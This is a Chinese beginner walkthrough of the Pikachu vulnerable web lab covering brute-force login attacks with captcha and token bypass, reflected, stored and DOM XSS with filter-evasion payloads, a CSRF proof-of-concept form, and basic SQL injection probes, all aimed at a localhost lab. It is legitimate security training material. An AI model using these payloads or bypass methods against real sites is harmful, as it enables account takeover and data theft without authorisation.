皮卡丘靶场通关全教程

本文内容偏多，不仅涵盖了基本的通关教程，还有详细解释与分析，适合新手学习，由于是一篇整合文章，所以会删改一部分内容，如果希望更详细的了解，可以看"零基础学网安-皮卡丘靶场"栏目，如有问题请在评论区中提出

软件：谷歌浏览器，Yakit，SqlMap，中国蚁剑，火狐浏览器（插件：max hackbar）

（皮卡丘靶场作为新手靶场，我觉得来看的应该大部分是想要学习网络安全的朋友，所以我在软件选用比较简单，讲解角度比较多，建议费些时间学习，花一个月时间彻底了解前四部分内容其实就很不错了，后面的东西没有基础根本理解不了。

因为对于没有开发基础的朋友来说，光是搭配环境就够呛，所以我大部分内容都是用的浏览器和yakit的组合。如果您有建议请私信或在评论区说出来）

（如果要学习基础的话可以看我发的前后端学习的文章）

为广大喜欢网安的朋友方便学习，分享一些资源，便于快速进行靶场学习

靶场搭建：皮卡丘靶场下载，搭建教程请看下面链接

链接：https://wwhc.lanzoue.com/iGm7f2xd4i8j

配置教程：零基础在实践中学习网络安全-皮卡丘靶场（第一期-如何搭建皮卡丘靶场）（phpstudy和docker方式）-CSDN博客

Yakit：鉴于网上已有大量的burp suite通关教程，本篇使用Yakit不仅是为了拓展了解，还因为使用burp suite需要Java环境，pro版本付费，而且得调字体，由此选用国产Yakit（yakit是开源软件，所以不必担心出现收费问题，相对于burp的绝对专业性而言，比较直观适合新手上手和理论了解，而且界面该说不说还挺漂亮的）。

链接：https://yaklang.com/（本期内容使用版本1.42）

配置教程：零基础在实践中学习网络安全-皮卡丘靶场（第二期-暴力破解模块）（yakit方式）_yakit pikachu靶场-CSDN博客

SqlMap：本文大部分内容会以Yakit形式使用，但是为了符合主流软件，仍然会通过SqlMap演示（为方便演示，该sqlmap为汉化版本）

链接：https://wwhc.lanzoue.com/ifJY32ybh6vc

配置教程SQL注入篇-sqlmap的配置和使用_-d数据库-t表名-c列名--dump-CSDN博客

用户手册链接：https://wwhc.lanzoue.com/iSKxA2yegdch（找不到新的了，只有1.4版本）

弱口令字典：可以用于Yakit和burpsuite用的弱口令字典，为了更好演示，手动输入大量密码太麻烦，固分享此字典

链接：https://wwhc.lanzoue.com/ihdl12ybhbhi

中国蚁剑：一款开源的木马链接软件，下载，配置方式看下面链接

链接：Unsafe Fileupload篇补充-木马的详细教程与木马分享（中国蚁剑方式）-CSDN博客

接下来开始正文

一，burte force（暴力破解）

介绍：

“暴力破解”是一攻击具手段，在web攻击中，一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录，直到得到正确的结果。 为了提高效率，暴力破解一般会使用带有字典的工具来进行自动化操作。

理论上来说，大多数系统都是可以被暴力破解的，只要攻击者有足够强大的计算能力和时间，所以断定一个系统是否存在暴力破解漏洞，其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞，一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略，导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括：

1.是否要求用户设置复杂的密码；2.是否每次认证都使用安全的验证码（想想你买火车票时输的验证码～）或者手机otp；3.是否对尝试登录的行为进行判断和限制（如：连续5次错误登录，进行账号锁定或IP地址锁定等）；4.是否采用了双因素认证；...等等。千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的!

个人评价：正如概述里说的，通过大量获取弱口令或其他类型的密码字典来进行登录框爆破

适用场景：各种登录页面

实际反馈：很看运气（字面意思）因为原理真的就是各种密码账号组合不断的尝试

1，基于表单的暴力破解

原理：通过大量的账号密码不断排列组合进行测试直到全部组合都试过

实践：

我们密码和账号都输入123试试水，抓个包

我们将抓到的包右键，发送到WebFuzzer

我们在WebFuzzer模块中看一下

然后发送请求

我们将要用字典的地方用鼠标选中，然后点击"标签"选择要用的字典方式（在这里我使用了临时字典，账号密码为admin/123456）

然后我们发送，可以看到成功了

完成

这是在知道账号密码的情况下的使用，那么如何用弱口令字典来真正的"爆破"呢（这个用burpsuite也可以）

选中后，在出现的标签里选择"插入文件"，在"上传文件"中选中你的弱口令文件，选择"按行读取文件"

结果是这样的

然后发送（需要一些时间，耐心等待即可）

如果出现这个我们选择"查看全部"

接下来就是寻找正确的密码了，但是如何快速寻找正确的密码呢，那就是"按响应长度排序"

可以看到成功了（不知道为什么yakit的响应长度要简写K，这个方面对新手不友好，也可能是我没设置好）

（之后的内容同样方法）

2，验证码绕过（on sever）

原理：

验证码在服务端生成并验证，但未正确清除或过期，导致验证码可以被多次利用。通俗点说就是验证码是服务器生成的，就像一个“小区保安”检查你是否是小区住户，每次你开车回去，车牌号没问题后，杆子升起，你可以回小区，但是，这个"保安"忘记了车进入后把杆子及时降下来，导致非法车辆进入

绕过方法：通过抓包工具捕获登录请求，发现验证码未被服务端正确验证或清除，从而可以重复利用验证码进行暴力破解。就是黑客通过跟在合法车辆后面进入小区，趁着杆子没降下来，假装自己是合法用户通过。

实践

我们全部输入123，看看情况

如果验证码输入正确呢

传入web fuzzer模块看一下

把账号密码改变，再测试一下，看是不是验证码不刷新

接下来就是加入字典继续爆破（admin/123456）

完成

3，验证码绕过（on client）

原理：

验证码由前端 JavaScript 生成并验证，未经过服务端验证。这种情况下，验证码的验证逻辑完全依赖客户端代码。类似于你回小区，但是防疫，这个保安直接把登记表给你，让你填写，但他不核对，可能会导致感染人员进入

绕过方法：通过查看页面源码，发现验证码的生成和验证逻辑在前端实现。攻击者可以绕过前端验证，直接提交请求，从而实现暴力破解。就是黑客填写登记表的时候，写的假的身份信息，蒙混过关，进入小区

实践

先按F12打开开发者工具，然后按F1，找到并禁用掉javascript，这样，前端验证码就不刷新了

接下来和上面方法一样，抓包，加字典，发送

4，token防爆破

原理：

每次请求时，服务端生成一个唯一的 token 并存储在 SESSION 中。前端在提交请求时需要携带该 token，服务端会对提交的 token 进行验证。如果 token 不匹配或已过期，请求将被拒绝。就像是大学上课扫描签到，但是二维码5秒刷新一次，如果你没来上课，哪怕你舍友给你把二维码发过来，也差不多过期了。

实践：

先试试水，来一波抓包

可以看到请求内容（request里面的东西）里包含有token和对应的数据

再发送试试

可以看到token错误

我们由此可知，token真就用一次，变一次

那是不是没办法了呢，非也

我们先来看看官方文档的内容（没想到也是皮卡丘靶场的token防爆破页面呢。：https://yaklang.com/products/Web%20Fuzzer/fuzz-sequence-example3）

经过研究，我们可以发现，yakit可以通过web fuzzer模块中的"序列"来替代burpsuite的Grep模块

yakit可以通过"序列"模块先进行一个token获取，然后再将获取的token值加入到第二个包进行发送，然后循环往复，直到密码成功（想象一下，类似于大学上课扫码签到，但是你在宿舍，二维码又是5秒变一次，你的好朋友通过视频通话的方式，实时给你看最新的二维码，通过这样的方式，你成功签到）

那么接下来就是先来两个抓包和内容标记（以下内容为个人尝试，与官方文档不同，研究时请以官方文档为主）

左侧"规则"中的数据提取器如果使用XPath方式是这样的（//input[@name='token']/@value）

如果你了解正则表达式，按这样（name="token" value="([^"]+)"）

接下来选中好第一个包的内容并且设置好变量（第二个包包内容改掉）

接下来进行"序列"配置

第一个包在前面

发送

成功

以上便是暴力破解模块中的全部内容了

二，Cross-Site-Scripting(XSS)

介绍：

XSS（跨站脚本）概述

Cross-Site Scripting 简称为“CSS”，为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS。一般XSS可以分为如下几种常见类型：
    1.反射性XSS;
    2.存储型XSS;
    3.DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞，在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞，所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理，导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上，一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
  输入过滤：对输入进行过滤，不允许可能导致XSS攻击的字符输入;
  输出转义：根据输出点的位置对输出到前端的内容进行适当转义;

特点：

持久性：恶意脚本存储在服务器端，可以长期存在，对用户造成长期的危害。

大规模影响：恶意脚本会在多个页面上被执行，可以影响大量的用户。

隐蔽性：恶意脚本通常隐藏在数据库中，难以被检测到。

个人评价：给我的感受是作为增值漏洞比较好，最好的情况是拿到较高的权限后进行内容发布来扩大危害性

适用场景：适用于那些防护不严，可以进行内容发布的网站。比如相亲网站，校园留言墙等可以让大家都看到的东西

实际反馈：看个人能力，对新手比较鸡肋，甚至很难理解，但是仍然值得了解，便于后期提升（不要觉得没必要学，这个攻击如果遇到的话至少要知道怎么做，黑客会通过钓鱼或其他方式让你进入特点网站获取你的cookies（可以看作你的信息，你浏览器保存的密码）导致信息泄露）

1，反射型XSS(GET)

介绍

在反射型XSS（GET）中，攻击者通过一个恶意的链接（比如网址后面带有一些奇怪的代码），把恶意代码传递给服务器。（类似于恐怖片里的镜子，照过后会有可怕的事情发生）服务器就像一面镜子，把恶意代码反射回用户的浏览器，浏览器执行了恶意代码，用户就受到了攻击。

实践

先构建一个XSS(GET)攻击内容

<script>alert('xss')</script>

注释：这是一个前端语法语句意思是在用户浏览器弹出内容为"xss"的窗口

很明显，有长度限制，我们通过F12可以看到

更改限制

这下可以了

结果

其实还有第二种方法（稍微有些麻烦，但是方便我们学习max hackbar插件）

使用max hackbar插件

先加载页面

然后添加攻击内容，提交即可

2，反射型XSS（POST）

介绍

和XSS的GET方式差不多，但是，是通过POST表单的方式进行，相比起GET，更加隐蔽，因为他不会在你的搜索栏出现，内容更加多，因为POST表单不会像GET方式一样有内容大小限制（这一点我们可以通过上一期的yakit抓到的包中看到，标有POST）

实践

根据上一期内容，我们可以知道账号密码为admin/123456

进入后仍然加入上面的XSS攻击内容（<script>alert('xss')</script>）提交即可

3，存储型XSS

原理：攻击者将恶意脚本存储在服务器的数据库或文件系统中，当这些存储的数据被正常用户访问时，恶意脚本会被自动执行，从而达到攻击的目的（类似于有一块公告留言板，但是黑客在上面写了催眠咒，你看到以后就中招了）

实践：

先输入些正常内容看看

加入XSS攻击内容

4，DOM型XSS

原理

我们先了解一下DOM是什么

可以把DOM想象成一个“网页的树状地图”。网页的每一个部分（比如标题、段落、按钮、图片等）都是这棵树上的一个“节点”。通过DOM，我们可以找到这些节点，并对它们进行操作，比如修改内容、改变样式、添加新的元素等。（对于不了解前端内容的朋友来说可能很抽象，可以理解为像是医学中的人体解刨图，DOM就是人体的神经系统，虽然没有很大的体积，但是贯穿全身，调动全身）

DOM型XSS就是有病毒或药物使"神经信号"被篡改，危害显而易见

实践

还是那个攻击内容，放进去试试

可以看到没反应，打开F12看看

我们先翻译一下这段内容（不懂前端的朋友可以跳过，本期内容理解起来确实比较有门槛）

<a href="<script>alert(" xss')<="" script="">'&gt;what do you see?</a>

<a href="
这是HTML代码，表示一个超链接的开始。

<a> 是超链接标签，

href 是属性，用于指定链接的目标地址。

<script>
这是HTML中的脚本标签，通常用于嵌入JavaScript代码。

alert(" xss')
这是JavaScript代码，

alert() 是一个函数，用于在浏览器中弹出一个警告框。这里的警告框内容是 
" xss')，这是一个字符串，但它的格式是错误的，因为它没有正确闭合。

<="" script=">
这部分代码是错误的HTML和JavaScript混合。

<="" 是无效的HTML代码，

script="> 也是错误的，可能是试图结束

<script>标签，但写错了。
'&gt;这是HTML实体编码，

&gt; 表示大于号（>）。

' 是单引号。
what do you see?
这是普通文本，表示“你看到了什么？”

</a>
这是超链接标签的结束。

由此可知，我们的攻击被化解了

我们根据反馈再做一个攻击内容

' onclick=alert('xss')>

看一下反馈

成功了

我们再来分析一下新的攻击内容

闭合后的内容：

<a href="" onclick="alert('xss')">'&gt;what do you see?</a>



<a href=""

<a> 是HTML中的超链接标签，用于创建一个可以点击的链接。

href="" 是超链接的属性，用于指定链接的目标地址。这里的 

href 属性值为空，意味着点击这个链接不会跳转到其他页面。

onclick="alert('xss')"
onclick 是HTML元素的一个事件属性，用于指定当用户点击该元素时要执行的JavaScript代码。

alert('xss') 是JavaScript代码，表示当用户点击这个链接时，会弹出一个警告框，警告框的内容是字符串 

'xss'。这里的 'xss' 是一个提示信息，通常用于表示这是一个XSS（跨站脚本攻击）的测试。

>'&gt;
> 是HTML中的大于号（>）。

&gt; 是HTML实体编码，表示大于号（>）。在这里，&gt; 被错误地写在了 > 之后，可能是为了混淆代码的意图。
what do you see?
这是链接的文本内容，用户在浏览器中看到的链接文字是“what do you see?”（你看到了什么？）。
</a>这是超链接标签的结束。

由此，我们可以知道，XSS攻击中，了解前端内容很重要，有利于我们制作XSS攻击内容，当然大家的时间有限，但是还是希望大家先继续学习皮卡丘靶场，之后，学习相对应的前端内容也会更加敏感

5，DOM型XSS-X

其实和DOM型XSS差不多，流程也差不多，但是区别是DOM型XSS是POST表单发送，DOM型XSS-X是GET方式，我们可以在浏览器的地址栏中看到内容

在此就不过多赘述了

6，XSS之盲打

原理

XSS盲打是一种特殊的攻击场景，而不是一种新的XSS漏洞类型。它的核心特点是攻击者无法直接看到自己输入的内容是否被前端页面执行，而是通过“盲狙”的方式，尝试让后台管理员触发XSS攻击（这个原理类似于上面说过的镜子，但是这里是一面可以看见，另一面看不见的单向镜）

由此我们可以知道，盲打对网站后端的管理员有危害，但是很佛系，因为如果管理员很长时间不看后台的话就难受了

实践

攻击内容仍然是

<script>alert('xss')</script>

根据提示，进入http://localhost:8080/vul/xss/xssblind/admin.php可以查看后端内容

可以看到刚进入就弹窗了，说明XSS盲打成功了，而且弹出两次说明两个输入框都有问题

7，XSS之过滤

原理

XSS过滤就像是一个“安全网”，用来防止恶意代码（比如`<script>`标签）进入网站，从而保护用户和网站的安全。（就像建筑上可以看到用个滤板把大块石头过滤掉，只留下建筑用的细沙）

实践

攻击内容还是

<script>alert('xss')</script>

可以看到被过滤了

通过F12我们可以看到这里过滤了<script>标签

我们先来分析一下这个过滤原理

未攻击前

攻击后

我们无法从F12中看出，那就只能一个一个尝试（有前端基础的朋友可以直接看源代码）

正则过滤测试

<scri<script>pt>

没反应

HTML实体编码测试

<script>

没反应

关键词过滤测试

<SCRIPT>alert(xss)</SCRIPT>

成功了

经过测试，我们可以知道很可能是关键词过滤，为什么呢，因为`<script>`标签作为HTML语言是不区分大小写的，而他的过滤又是过滤<script>，所以和我的</SCRIPT>有什么关系呢

或者了解前端语言的朋友已经想到了的，通过其他标签事件来弹出（不懂的朋友不要灰心，慢慢都会学到的，面包会有的，牛奶也会有的）所以我们可以看到有图标的标志出现

<img src=x onerror="alert(xss)">

至此，XSS过滤完成

8，XSS之htmlspecialchars

原理

首先我们要知道什么是htmlspecialchars，htmlspecialchars 是一种常用的XSS防御函数，主要用于对用户输入的数据进行转义处理，防止恶意代码被浏览器执行。（就像人体的肾脏一样，脏东西经过后就被过滤掉了）

了解以后，我们就应该差不多想到攻击的特点了，通过用htmlspecialchars难以招架的符号或组合攻击（类似于肾小球滤过功能受损，难以像正常一样过滤）

实践

还是用（<script>alert('xss')</script>）

可以看到没有反应，但是我们可以从里面看到全部内容，那么我们就来分析一下

<a href="<script>alert(" xss')&lt;="" script&gt;'="">&lt;script&gt;alert('xss')&lt;/script&gt;</a>


<a href="...">：
这是一个HTML的<a>标签，通常用于创建超链接。

<script>alert(" xss')&lt;="" script&gt;'="">&lt;script&gt;alert('xss')&lt;/script&gt;：
这部分代码试图嵌入JavaScript代码。其中包含<script>标签，这是HTML中用于嵌入JavaScript代码的标签。
alert(" xss')和alert('xss')是JavaScript的弹窗函数，用于弹出一个对话框显示内容（这里是"xss"）。

我们从分析中可以看出它已经被编码和格式化，使其无法直接执行

所以，我们用

' onclick='alert("xss")

闭合后的内容是

<a href="" onclick="alert(&quot;xss&quot;)">' onclick='alert("xss")</a>
1. HTML标签和属性
<a>：这是一个HTML超链接标签，通常用于创建可点击的链接。
href=""：
href属性为空，表示这个链接不会导航到任何页面。
onclick：这是一个事件处理器属性，用于在用户点击链接时触发JavaScript代码。
2. onclick属性中的JavaScript代码
onclick="alert(&quot;xss&quot;)"：
这是一个合法的onclick事件处理器，其中alert(&quot;xss&quot;)是一个JavaScript弹窗函数，
&quot;是HTML实体编码的双引号（"）。当用户点击这个链接时，浏览器会弹出一个对话框，显示内容为xss。
3. 恶意注入部分
>' onclick='alert("xss")：
这部分代码是恶意注入的，它试图在第一个onclick属性之后插入额外的代码。
'：这是一个单引号，用于结束第一个onclick属性的值。
onclick='alert("xss")：这是另一个onclick事件处理器，它也会在用户点击时弹出一个对话框，显示内容为xss。

完成

9，XSS之href输出

原理

同样，我们首先要知道href是什么东西

href是前端用于创建超链接的标签

href输出是指将用户输入的内容插入到HTML的<a>标签的href属性中。如果用户输入的内容没有经过适当的转义或过滤，就可能被浏览器解析为恶意代码，从而导致XSS攻击（herf就像时修仙小说里面的传送法阵，但是魔道也就是黑客偷偷加入了坏的东西，不会让你传送到指定的位置，而是窃取你的修为也就是个人信息）

实践

还是老样子，先分析

<a href="<script>alert('xss')</script>"> 阁下自己输入的url还请自己点一下吧</a>

1. HTML标签和属性
<a>：这是一个HTML超链接标签，通常用于创建可点击的链接。
href="<script>alert('xss')</script>"：
href属性被设置为一个包含<script>标签的字符串。
<script>标签是HTML中用于嵌入JavaScript代码的标签，而
alert('xss')是一个JavaScript弹窗函数，用于弹出一个对话框显示内容为xss。
链接的文本内容是“阁下自己输入的url还请自己点一下吧”，这是一种诱导用户点击链接的文本。
2. 恶意代码的作用
当用户点击这个链接时，浏览器会尝试解析href属性中的内容。
如果浏览器直接解析<script>alert('xss')</script>，它会执行其中的JavaScript代码，弹出一个对话框显示xss。

为什么没有反应
由于浏览器的HTML解析机制：
浏览器在解析HTML时，会严格按照HTML规范处理标签和属性。
在HTML中，
<script>标签通常不能嵌入在href属性中。浏览器会将<script>标签视为普通文本，而不是可执行的JavaScript代码。
因此，
<script>alert('xss')</script>会被当作href属性的普通文本值，而不是可执行的脚本。

那（' οnclick='alert("xss")）呢

很遗憾，也不行

为什么呢

<a href="' onclick='alert(&quot;xss&quot;)"> 阁下自己输入的url还请自己点一下吧</a>
1. HTML标签和属性
<a>：这是一个HTML超链接标签。
href="'：
href属性的值被设置为单引号（'），这是一个不完整的属性值。
onclick='alert(&quot;xss&quot;)'：这是一个onclick事件处理器，用于在用户点击链接时触发JavaScript代码。
&quot;是HTML实体编码的双引号（"），因此实际执行的JavaScript代码是alert("xss")。
2. 为什么没有反应
HTML属性的语法错误：
href="'：
href属性的值以单引号（'）结束，这会导致HTML解析器认为href属性已经结束。
由于href属性的值不完整，浏览器会将其视为无效的属性值，不会尝试解析或执行任何内容。
onclick属性的解析问题：
onclick='alert(&quot;xss&quot;)'：虽然onclick属性看起来是完整的，但由于href属性的语法错误，浏览器可能会将整个
onclick属性视为无效的HTML内容。
浏览器在解析HTML时，会严格按照HTML规范处理标签和属性。如果某个属性的值不完整或格式错误，浏览器可能会忽略整个标签或部分属性。

所以要重新构造攻击内容

javascript:alert(1)

再看看，成功了

我们再次分析

<a href="javascript:alert(xss)">阁下自己输入的url还请自己点一下吧</a>

HTML标签和属性
<a>：这是一个HTML超链接标签，用于创建一个可点击的链接。
href="javascript:alert(xss)"：这是<a>标签的
href属性，其值是一个JavaScript代码片段。
javascript:：这是一个伪协议（pseudo-protocol），用于在
href属性中直接执行JavaScript代码，而不是导航到一个URL。
alert(xss)：这是JavaScript代码，用于弹出一个对话框，显示xss。
点击行为
当用户点击这个链接时，浏览器会解析href属性中的内容。
由于href属性的值以javascript:开头，浏览器会将其视为JavaScript代码并执行。
因此，alert(xss)会被执行，弹出一个显示xss的对话框。

为什么这段代码能够成功
合规的HTML结构
<a>标签的href属性可以包含javascript:伪协议，这是一种常见的前端开发技术，用于在点击链接时执行JavaScript代码，而不是跳转到其他页面。
浏览器支持
所有现代浏览器都支持Javascript:伪协议。当浏览器解析到href="javascript:alert(1)"时，它会按照HTML规范执行alert(xss)代码。
没有语法错误
与之前提到的代码不同，这段代码没有语法错误。
href属性的值是完整的，且格式正确，浏览器能够正确解析并执行其中的JavaScript代码。

10，XSS之js输出

原理

首先什么是js：JavaScript（简称“JS”）是一种广泛使用的编程语言，主要用于实现网页的交互功能（同样是一种常用的前端语言，你浏览网页，用的小程序就用到了这个语言）

XSS攻击中的JS输出，是指攻击者通过用户输入的内容，让浏览器执行恶意的JavaScript代码。这种攻击通常发生在用户输入的内容被动态插入到JavaScript代码中时。（还是以修仙为背景，js相当于一个聚集了天地灵气，指哪打哪的圣物，但是就在于指哪打哪，魔道获取后用js把你的修为吸走，甚至拿走你的至尊骨）类似于之前提到的xss但是是另一种方式，属于殊途同归了

实践

攻击内容

<scirpt>alert('xss')</script>

很明显，没有反应

我们甚至看不到输入后包裹起来的代码，因为输入内容被JS语言动态生成了

但我们知道他是js方式进行的xss攻击，可是我们平时怎么知道呢，我们可以通过以下方式来检测

1，如果输入某些特殊字符（如<、>、"等）时，输入框立即阻止输入或自动删除这些字符，很可能是通过JavaScript实现的过滤。（有时候可以通过上期的禁用JavaScript的方式防止过滤）

2，如果输入后没有任何即时反应，但提交后发现内容被过滤，可能是服务器端过滤

在这里可以告诉大家答案是

</script><script>alert('xss')</script>

因为，通过右键看得源代码可以发现闭合掉第一个</script>就可以了，但是对于从来没有接触过前端的朋友来说本来就很抽象了，所以为了方便学习，我们只通过F12查看内容

至此，XSS模块全部内容完成

三，CSRF(跨站请求伪造)

介绍

CSRF(跨站请求伪造)概述

Cross-site request forgery 简称为“CSRF”，在CSRF的攻击场景中攻击者会伪造一个请求（这个请求一般是一个链接），然后欺骗目标用户进行点击，用户一旦点击了这个请求，整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念，甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。

这里列举一个场景解释一下，希望能够帮助你理解。

场景需求：

小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。

先看下大白是如何修改自己的密码的：

登录---修改会员信息，提交请求---修改成功。

所以小黑想要修改大白的信息，他需要拥有：1，登录权限 2，修改个人信息的请求。

但是大白又不会把自己xxx网站的账号密码告诉小黑，那小黑怎么办？

于是他自己跑到www.xx.com上注册了一个自己的账号，然后修改了一下自己的个人信息（比如：E-mail地址），他发现修改的请求是：

【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】

于是，他实施了这样一个操作：把这个链接伪装一下，在小白登录xxx网站后，欺骗他进行点击，小白点击这个链接后，个人信息就被修改了,小黑就完成了攻击目的。

为啥小黑的操作能够实现呢。有如下几个关键点：

1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验，导致这个请求容易被伪造;

---因此，我们判断一个网站是否存在CSRF漏洞，其实就是判断其对关键信息（比如密码等敏感信息）的操作(增删改)是否容易被伪造。

2.小白点击了小黑发给的链接，并且这个时候小白刚好登录在购物网上;

---如果小白安全意识高，不点击不明链接，则攻击不会成功，又或者即使小白点击了链接，但小白此时并没有登录购物网站，也不会成功。

---因此，要成功实施一次CSRF攻击，需要“天时，地利，人和”的条件。

当然，如果小黑事先在xxx网的首页如果发现了一个XSS漏洞，则小黑可能会这样做： 欺骗小白访问埋伏了XSS脚本（盗取cookie的脚本）的页面，小白中招，小黑拿到小白的cookie，然后小黑顺利登录到小白的后台，小黑自己修改小白的相关信息。

---所以跟上面比一下，就可以看出CSRF与XSS的区别：CSRF是借用户的权限完成攻击，攻击者并没有拿到用户的权限，而XSS是直接盗取到了用户的权限，然后实施破坏。

因此，网站如果要防止CSRF攻击，则需要对敏感信息的操作实施对应的安全措施，防止这些操作出现被伪造的情况，从而导致CSRF。比如：

--对敏感信息的操作增加安全的token；

--对敏感信息的操作增加安全的验证码；

--对敏感信息的操作实施安全的逻辑流程，比如修改密码时，需要先校验旧密码等

个人评价：这个东西的大头是做钓鱼网站和社工，很明确的说是违法行为（有授权在合理范围内就不违法包括前面说的xss和暴力破解），而且是很严重的违反道德的行为（它会严重影响他人正常生活），所以要注意分寸，太过火了就没救了

适用场景：违禁网站中应该会出现，或者钓鱼网站，但是受限于其本质严重的违反道德和法律，各种平台都很难见到

实际反馈：本人没做过，也希望大家别干这事，只要学习理论后有警惕心和做网站的朋友做好防护就好

1，CSRF(get)

原理：攻击者构造一个恶意的 GET 请求链接，当用户点击该链接时，浏览器会自动携带用户当前的会话信息（如 Cookie）向目标服务器发送请求（就像谍战片里面，间谍冒充A的对接人B，从A身上套话，然后冒充A去找对接人B继续套话）

实践

还是启动yakit进行抓包，但是前面的包我们不要

根据提示中显示的账号和密码登录一个试试

点击个人信息看看

在修改个人信息时抓包

可以看到我们提交内容并且标有GET，说明是通过GET方式进行

为了更好的体现危害，我们修改请求内容试试

修改，发送后刷新浏览器

可以看到内容被更改了

接下来是重头戏了，也就是制作钓鱼网站

而yakit制作CSRF-POC很方便，还是上面抓的的那个包，右键选择"复制为CSRF-POC"我们就做好了一个简单的钓鱼网站

原内容为

<html>
<body>
<form action="http://localhost:8080/vul/csrf/csrfget/csrf_get_edit.php?sex=1234&amp;phonenum=1234&amp;add=123321&amp;email=123321&amp;submit=submit" method="GET" name="form1"  >
<input type="hidden" name="sex" value="1234"/>
<input type="hidden" name="phonenum" value="1234"/>
<input type="hidden" name="add" value="123321"/>
<input type="hidden" name="email" value="123321"/>
<input type="hidden" name="submit" value="submit"/>
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/');</script>
</body>
</html>

我们修改一下

<html>
<body>
<form action="http://localhost:8080/vul/csrf/csrfget/csrf_get_edit.php?sex=1234&amp;phonenum=1234&amp;add=123321&amp;email=123321&amp;submit=submit" method="GET" name="form1"  >
<input type="hidden" name="sex" value="123456789"/>
<input type="hidden" name="phonenum" value="123456789"/>
<input type="hidden" name="add" value="12332156789"/>
<input type="hidden" name="email" value="12332156789"/>
<input type="hidden" name="submit" value="submit"/>
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/');</script>
</body>
</html>

我们看成果（我把文件命名为123不要想太多）（用记事本复制上面，之后把txt后缀改为html就行）

通过学习这个模块，大家可能会觉得很容易，但是大家要知道，以微信为例，有没有发现每次修改密码都巨麻烦，而且如果忘记密码后设置新密码，他不会告诉你旧密码，而是创建一个新密码，这是因为你的密码一输入就被超级加密了，而这个靶场是明文，所以不必太担心个人信息安全以至于影响个人生活，但还是要避免进入未知网站，点击未知链接

2，CSRF(post)

原理：攻击者通过在恶意页面中嵌入一个自动提交的隐藏表单，或者利用 JavaScript 来模拟 POST 请求（总体原理和get方式差不多但是会更加隐蔽）

实践

事实上，具体操作和上面的GET方式差不多，区别就是是通过post表单进行的

3，CSRF Token

原理：

其原理是在服务器端生成一个随机的、不可预测的令牌（也就是我们在暴力破解讲到的Token），并将其与用户的会话绑定。具体原理如下：

1. 生成 Token：用户访问需要保护的页面时，服务器生成一个 CSRF Token，并将其存储在服务器端的会话中。

2. 发送 Token：服务器将 Token 作为隐藏字段嵌入到表单中，或者作为 URL 参数附加到链接上。

3. 验证 Token：当用户提交表单或发起请求时，浏览器会将 Token 一同发送给服务器。服务器端的验证逻辑会检查请求中的 Token 是否与会话中存储的 Token 一致。如果一致，则认为请求是合法的；如果不一致或 Token 缺失，则拒绝该请求。

（还是第二期的暴力破解中说到的以你在宿舍，但是老师扫码签到作比喻）

实践

可以看到这个包出现了token

在第二期暴力破解模块中我们已经知道了token的工作原理，接下来就是像暴力破解模块一样用"序列"试试

至此，CSRF模块完成

四，Sql Inject(SQL注入)

介绍

概述     在owasp发布的top10排行榜里，注入漏洞一直是危害排名第一的漏洞，其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞，可能会直接导致一家公司破产！SQL注入漏洞主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行。 从而导致数据库受损（被脱裤、被删除、甚至整个服务器权限沦陷）。

在构建代码时，一般会从如下几个方面的策略来防止SQL注入漏洞：1.对传进SQL语句里面的变量进行过滤，不允许危险字符传入；2.使用参数化（Parameterized Query 或 Parameterized Statement）；3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重

个人评价：如同概述里说的，这是一个危害非常大的漏洞，而且很常见，基本上但凡是个完整的网站，都可能会出现sql注入漏洞，但是切记，要遵守渗透规则或者在授权许可范围内，如果获取到后台数据库后，要做好保密措施，万不可泄露，能力越大，责任越大

适用情景：比如"万能密码"如:' OR '1'='1这样的，就是利用了sql注入的漏洞进行的，所以用到的地方还挺多的，但是利用起来挺刁钻的

实际反馈：是一个很常见，而且危害也很大的漏洞，所以同样的，一些有能力的企业，保护的第一内容可能就是关于sql注入可能会出现的漏洞，所以实践中属于好找，但不好搞的类型，需要有一定的经验和耐心

1，数字型注入（post）

原理

输入参数未过滤或过滤不严谨：当应用程序的数字型参数（如ID、年龄等）未经过严格的过滤或验证，直接被用于拼接SQL语句时，就可能产生数字型注入漏洞。

攻击者构造恶意输入：攻击者通过修改数字型参数的值，向应用程序提交精心构造的SQL片段，使应用程序执行非法的SQL语句。

影响SQL语句逻辑：由于数字型参数直接参与SQL语句的拼接，攻击者可以通过改变参数值来改变SQL语句的逻辑，从而实现注入攻击。

既然是注入，我们首先要了解是什么类型的注入（虽然题目中有说，但是实际情况中不可提前知道）

 添加单引号：在数字型参数后添加单引号（'），如果页面报错，说明服务器将单引号作为SQL语句的一部分进行了处理，可能存在注入漏洞。

利用逻辑条件：在参数后添加`and 1=1`，如果页面返回正常，再添加`and 1=2`，如果页面返回错误或与添加`and 1=1`时不同，说明存在数字型注入漏洞。

